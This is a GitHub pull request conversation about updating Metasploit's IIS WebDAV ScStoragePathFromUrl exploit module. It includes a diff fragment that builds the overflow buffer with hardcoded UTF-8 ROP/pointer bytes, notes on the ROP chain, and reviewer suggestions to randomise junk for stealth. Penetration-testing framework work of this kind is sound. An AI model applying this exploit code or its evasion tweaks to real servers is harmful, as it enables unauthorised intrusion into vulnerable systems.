New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
iis_webdav_scstoragepathfromurl: Updated module removing hardcoded binary payload strings #8420
Conversation
-Used only nessessary pointers needed for exploit to work removing junk/filler chars -Repaced ROP chain with generic from msvcrt (even though original was beautiful and smaller, uses hardcoded pointers for leave instructions) -Cannot use ropdb since 4 byte junk char during generation may result in InvalidByteSequenceError during UTF conversion -It's been some years since my last pull request...so I might be a bit rusty to new Metasploit standards (please forgive me!)
begin | ||
buf1 = "<#{http_host}/" | ||
buf1 << rand_text_alpha(114 - path_len) | ||
buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac" | ||
buf1 << utf_encode_str(junk * 16) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
can we make this smth like this?
def make_junk(len):
return utf_encode_str(rand_text_alpha(len))
buf1 << make_junk(32)
This way we would be even more stealth. Or is there any need for the 2 characters to repeat?
Good idea @firefart. Added, let me know if you see any other issues. |
@@ -139,14 +189,41 @@ def exploit | |||
min_path_len.upto(max_path_len) do |path_len| | |||
vprint_status("Trying path length of #{path_len}...") | |||
|
|||
junk = rand_text_alpha(2) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
this line can now be removed
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Done. Sorry, should of had coffee first :)
Works for me ❤️
|
@lincoln-corelan awesome thanks for the changes! |
Release NotesThe payload for the exploits/windows/iis/iis_webdav_scstoragepathfromurl module is now well documented instead of being hardcoded. |
Awesome! Thank you @firefart! |
Lastly, a lot of work was done from @dmchell, @rwhitcroft, @zcgonvh, and @firefart. I just wanted to add some minor modifications leveraging their hard work.